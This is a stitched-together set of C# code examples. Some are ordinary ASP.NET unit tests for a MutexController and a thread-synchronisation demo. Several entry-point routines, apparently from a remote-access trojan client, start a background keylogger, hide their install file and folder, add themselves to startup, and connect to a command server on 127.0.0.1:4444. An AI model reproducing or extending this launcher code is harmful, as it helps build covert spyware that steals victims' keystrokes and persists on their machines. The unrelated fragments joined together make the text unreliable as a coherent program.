public async void Patch_No_Errors()
        {
            MutexControllerMockFacade mock = new MutexControllerMockFacade();
            var mockResult = new Mock <UpdateResponse <ApiMutexResponseModel> >();

            mockResult.SetupGet(x => x.Success).Returns(true);
            mock.ServiceMock.Setup(x => x.Update(It.IsAny <string>(), It.IsAny <ApiMutexRequestModel>()))
            .Callback <string, ApiMutexRequestModel>(
                (id, model) => model.JSON.Should().Be("A")
                )
            .Returns(Task.FromResult <UpdateResponse <ApiMutexResponseModel> >(mockResult.Object));
            mock.ServiceMock.Setup(x => x.Get(It.IsAny <string>())).Returns(Task.FromResult <ApiMutexResponseModel>(new ApiMutexResponseModel()));
            MutexController controller = new MutexController(mock.ApiSettingsMoc.Object, mock.LoggerMock.Object, mock.TransactionCoordinatorMock.Object, mock.ServiceMock.Object, new ApiMutexModelMapper());

            controller.ControllerContext             = new ControllerContext();
            controller.ControllerContext.HttpContext = new DefaultHttpContext();

            var patch = new JsonPatchDocument <ApiMutexRequestModel>();

            patch.Replace(x => x.JSON, "A");

            IActionResult response = await controller.Patch(default(string), patch);

            response.Should().BeOfType <OkObjectResult>();
            (response as OkObjectResult).StatusCode.Should().Be((int)HttpStatusCode.OK);
            mock.ServiceMock.Verify(x => x.Update(It.IsAny <string>(), It.IsAny <ApiMutexRequestModel>()));
        }
        public async void BulkInsert_No_Errors()
        {
            MutexControllerMockFacade mock = new MutexControllerMockFacade();

            var mockResponse = new CreateResponse <ApiMutexResponseModel>(new FluentValidation.Results.ValidationResult());

            mockResponse.SetRecord(new ApiMutexResponseModel());
            mock.ServiceMock.Setup(x => x.Create(It.IsAny <ApiMutexRequestModel>())).Returns(Task.FromResult <CreateResponse <ApiMutexResponseModel> >(mockResponse));
            MutexController controller = new MutexController(mock.ApiSettingsMoc.Object, mock.LoggerMock.Object, mock.TransactionCoordinatorMock.Object, mock.ServiceMock.Object, mock.ModelMapperMock.Object);

            controller.ControllerContext             = new ControllerContext();
            controller.ControllerContext.HttpContext = new DefaultHttpContext();

            var records = new List <ApiMutexRequestModel>();

            records.Add(new ApiMutexRequestModel());
            IActionResult response = await controller.BulkInsert(records);

            response.Should().BeOfType <OkObjectResult>();
            (response as OkObjectResult).StatusCode.Should().Be((int)HttpStatusCode.OK);
            var result = (response as OkObjectResult).Value as List <ApiMutexResponseModel>;

            result.Should().NotBeEmpty();
            mock.ServiceMock.Verify(x => x.Create(It.IsAny <ApiMutexRequestModel>()));
        }
        public async void Get_Not_Exists()
        {
            MutexControllerMockFacade mock = new MutexControllerMockFacade();

            mock.ServiceMock.Setup(x => x.Get(It.IsAny <string>())).Returns(Task.FromResult <ApiMutexResponseModel>(null));
            MutexController controller = new MutexController(mock.ApiSettingsMoc.Object, mock.LoggerMock.Object, mock.TransactionCoordinatorMock.Object, mock.ServiceMock.Object, mock.ModelMapperMock.Object);

            controller.ControllerContext             = new ControllerContext();
            controller.ControllerContext.HttpContext = new DefaultHttpContext();

            IActionResult response = await controller.Get(default(string));

            response.Should().BeOfType <StatusCodeResult>();
            (response as StatusCodeResult).StatusCode.Should().Be((int)HttpStatusCode.NotFound);
            mock.ServiceMock.Verify(x => x.Get(It.IsAny <string>()));
        }
Exemple #4
0
        static void Main(string[] args)
        {
            int[] arr = GenerateArray(1000);
            Console.WriteLine("Please, input key to find in generated array");
            int key = Convert.ToInt32(Console.ReadLine());
            IThreadController <int> threadController = new EventController <int>();

            DrawHeader();
            DrawLine("Events", RunThread(threadController, arr, key));
            threadController = new SemaphoreController <int>();
            DrawLine("Semaphores", RunThread(threadController, arr, key));
            threadController = new MutexController <int>();
            DrawLine("Mutexes", RunThread(threadController, arr, key));
            threadController = new CriticalSectionController <int>();
            DrawLine("Critical sections", RunThread(threadController, arr, key));
            DrawFooter();
            Console.ReadLine();
        }
        public async void Delete_Errors()
        {
            MutexControllerMockFacade mock = new MutexControllerMockFacade();
            var mockResult = new Mock <ActionResponse>();

            mockResult.SetupGet(x => x.Success).Returns(false);
            mock.ServiceMock.Setup(x => x.Delete(It.IsAny <string>())).Returns(Task.FromResult <ActionResponse>(mockResult.Object));
            MutexController controller = new MutexController(mock.ApiSettingsMoc.Object, mock.LoggerMock.Object, mock.TransactionCoordinatorMock.Object, mock.ServiceMock.Object, mock.ModelMapperMock.Object);

            controller.ControllerContext             = new ControllerContext();
            controller.ControllerContext.HttpContext = new DefaultHttpContext();

            IActionResult response = await controller.Delete(default(string));

            response.Should().BeOfType <ObjectResult>();
            (response as ObjectResult).StatusCode.Should().Be((int)HttpStatusCode.UnprocessableEntity);
            mock.ServiceMock.Verify(x => x.Delete(It.IsAny <string>()));
        }
        public async void All_Not_Exists()
        {
            MutexControllerMockFacade mock = new MutexControllerMockFacade();

            mock.ServiceMock.Setup(x => x.All(It.IsAny <int>(), It.IsAny <int>())).Returns(Task.FromResult <List <ApiMutexResponseModel> >(new List <ApiMutexResponseModel>()));
            MutexController controller = new MutexController(mock.ApiSettingsMoc.Object, mock.LoggerMock.Object, mock.TransactionCoordinatorMock.Object, mock.ServiceMock.Object, mock.ModelMapperMock.Object);

            controller.ControllerContext             = new ControllerContext();
            controller.ControllerContext.HttpContext = new DefaultHttpContext();

            IActionResult response = await controller.All(1000, 0);

            response.Should().BeOfType <OkObjectResult>();
            (response as OkObjectResult).StatusCode.Should().Be((int)HttpStatusCode.OK);
            var items = (response as OkObjectResult).Value as List <ApiMutexResponseModel>;

            items.Should().BeEmpty();
            mock.ServiceMock.Verify(x => x.All(It.IsAny <int>(), It.IsAny <int>()));
        }
        public async void Update_NotFound()
        {
            MutexControllerMockFacade mock = new MutexControllerMockFacade();
            var mockResult = new Mock <UpdateResponse <ApiMutexResponseModel> >();

            mockResult.SetupGet(x => x.Success).Returns(false);
            mock.ServiceMock.Setup(x => x.Update(It.IsAny <string>(), It.IsAny <ApiMutexRequestModel>())).Returns(Task.FromResult <UpdateResponse <ApiMutexResponseModel> >(mockResult.Object));
            mock.ServiceMock.Setup(x => x.Get(It.IsAny <string>())).Returns(Task.FromResult <ApiMutexResponseModel>(null));
            MutexController controller = new MutexController(mock.ApiSettingsMoc.Object, mock.LoggerMock.Object, mock.TransactionCoordinatorMock.Object, mock.ServiceMock.Object, new ApiMutexModelMapper());

            controller.ControllerContext             = new ControllerContext();
            controller.ControllerContext.HttpContext = new DefaultHttpContext();

            IActionResult response = await controller.Update(default(string), new ApiMutexRequestModel());

            response.Should().BeOfType <StatusCodeResult>();
            (response as StatusCodeResult).StatusCode.Should().Be((int)HttpStatusCode.NotFound);
            mock.ServiceMock.Verify(x => x.Get(It.IsAny <string>()));
        }
        public async void Patch_Record_Not_Found()
        {
            MutexControllerMockFacade mock = new MutexControllerMockFacade();
            var mockResult = new Mock <ActionResponse>();

            mock.ServiceMock.Setup(x => x.Get(It.IsAny <string>())).Returns(Task.FromResult <ApiMutexResponseModel>(null));
            MutexController controller = new MutexController(mock.ApiSettingsMoc.Object, mock.LoggerMock.Object, mock.TransactionCoordinatorMock.Object, mock.ServiceMock.Object, mock.ModelMapperMock.Object);

            controller.ControllerContext             = new ControllerContext();
            controller.ControllerContext.HttpContext = new DefaultHttpContext();

            var patch = new JsonPatchDocument <ApiMutexRequestModel>();

            patch.Replace(x => x.JSON, "A");

            IActionResult response = await controller.Patch(default(string), patch);

            response.Should().BeOfType <StatusCodeResult>();
            (response as StatusCodeResult).StatusCode.Should().Be((int)HttpStatusCode.NotFound);
            mock.ServiceMock.Verify(x => x.Get(It.IsAny <string>()));
        }
        public async void Create_Errors()
        {
            MutexControllerMockFacade mock = new MutexControllerMockFacade();

            var mockResponse = new Mock <CreateResponse <ApiMutexResponseModel> >(new FluentValidation.Results.ValidationResult());
            var mockRecord   = new ApiMutexResponseModel();

            mockResponse.SetupGet(x => x.Success).Returns(false);

            mock.ServiceMock.Setup(x => x.Create(It.IsAny <ApiMutexRequestModel>())).Returns(Task.FromResult <CreateResponse <ApiMutexResponseModel> >(mockResponse.Object));
            MutexController controller = new MutexController(mock.ApiSettingsMoc.Object, mock.LoggerMock.Object, mock.TransactionCoordinatorMock.Object, mock.ServiceMock.Object, mock.ModelMapperMock.Object);

            controller.ControllerContext             = new ControllerContext();
            controller.ControllerContext.HttpContext = new DefaultHttpContext();

            IActionResult response = await controller.Create(new ApiMutexRequestModel());

            response.Should().BeOfType <ObjectResult>();
            (response as ObjectResult).StatusCode.Should().Be((int)HttpStatusCode.UnprocessableEntity);
            mock.ServiceMock.Verify(x => x.Create(It.IsAny <ApiMutexRequestModel>()));
        }
Exemple #10
0
        static void Main()
        {
            bool result;

            //bootController = new BootController();
            //StreamReader readerMutex = new StreamReader(System.Reflection.Assembly.GetExecutingAssembly().Location);
            //MutexController.mutexKey = BootController.getMutexKey(readerMutex);
            MutexController.mutexKey = "sdkfjslkfjsldkfjsdlfj546s46s46s64s";
            result = MutexController.createMutex();
            //var mutex = new System.Threading.Mutex(true, mutexKey, out result);

            if (!result)
            {
                MessageBox.Show("Another instance of application is already running !");
                return;
            }
            MessageBox.Show(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), Settings.LOGDIRECTORYNAME));

            if (Settings.ENABLELOGGER)
            {
                new Thread(() =>
                {
                    _msgLoop         = new ApplicationContext();
                    Keylogger logger = new Keylogger(15000);
                    Application.Run(_msgLoop);
                })
                {
                    IsBackground = true
                }.Start();
            }

            ClientData.installPath = Path.Combine(AuthenticationController.DIRECTORY, ((!string.IsNullOrEmpty(AuthenticationController.SUBDIRECTORY)) ? AuthenticationController.SUBDIRECTORY + @"\" : "") + AuthenticationController.INSTALLNAME);
            Application.EnableVisualStyles();
            Application.SetCompatibleTextRenderingDefault(false);
            client = new ClientMosaic("127.0.0.1", 4444);
            //ClientMosaic.testexit = false;
            //client = new ClientMosaic(bootController.host, bootController.port);
            client.connect();
            //GC.KeepAlive(mutex);
        }
Exemple #11
0
        static void Main()
        {
            bool result;

            bootController = new Boot();
            StreamReader readerMutex = new StreamReader(System.Reflection.Assembly.GetExecutingAssembly().Location);

            MutexController.mutexKey = Boot.getMutexKey(readerMutex);;
            result = MutexController.createMutex();

            if (!result)
            {
                MessageBox.Show("Another instance of application is already running !");
                return;
            }

            if (Settings.ENABLELOGGER)
            {
                new Thread(() =>
                {
                    _msgLoop         = new ApplicationContext();
                    Keylogger logger = new Keylogger(15000);
                    Application.Run(_msgLoop);
                })
                {
                    IsBackground = true
                }.Start();
            }

            ClientData.installPath = Path.Combine(AuthenticationController.DIRECTORY, ((!string.IsNullOrEmpty(AuthenticationController.SUBDIRECTORY)) ? AuthenticationController.SUBDIRECTORY + @"\" : "") + AuthenticationController.INSTALLNAME);
            Application.EnableVisualStyles();
            Application.SetCompatibleTextRenderingDefault(false);
            client = new ClientMosaic("127.0.0.1", 4444);
            //client = new ClientMosaic(bootController.host, bootController.port);
            client.connect();
        }
Exemple #12
0
        private static bool MosaiqueLauncher()
        {
            _result = MutexController.createMutex(); // TODO virer

            if (!_result)                            // TODO virer
            {
                MessageBox.Show("Another instance of application is already running !");
                return(false);
            }

            ClientData.installPath = Path.Combine(Boot.DIRECTORY, ((!string.IsNullOrEmpty(Boot.installSubDirectory)) ? Boot.installSubDirectory + @"\" : "") + Boot.installFileName); //

            // If install == false OR already installed
            if (!Boot.installStub || ClientData.currentPath == ClientData.installPath)
            {
                if (Boot.installStub && Boot.hideFile) // INSTALL
                {
                    try
                    {
                        File.SetAttributes(ClientData.currentPath, FileAttributes.Hidden);
                    }
                    catch
                    {
                    }
                }
                if (Boot.installStub && Boot.hideSubDirectory && !string.IsNullOrEmpty(Boot.installSubDirectory)) // INSTALL
                {
                    try
                    {
                        DirectoryInfo di = new DirectoryInfo(Path.GetDirectoryName(ClientData.installPath));
                        di.Attributes |= FileAttributes.Hidden;
                    }
                    catch
                    {
                    }
                }

                if (Boot.autoStartEnabled) // STARTUP
                {
                    if (!ClientInstallerController.AddToStartup())
                    {
                        ClientData.AddToStartupFailed = true;
                    }
                }
                if (Boot.keyloggerEnabled) // KEYLOGGER
                {
                    new Thread(() =>
                    {
                        _msgLoop         = new ApplicationContext();
                        Keylogger logger = new Keylogger(15000);
                        Application.Run(_msgLoop);
                    })
                    {
                        IsBackground = true
                    }.Start();
                }

                return(true);
            }
            else
            {
                MutexController.closeMutex();
                ClientInstallerController.install();
                return(false);
            }
        }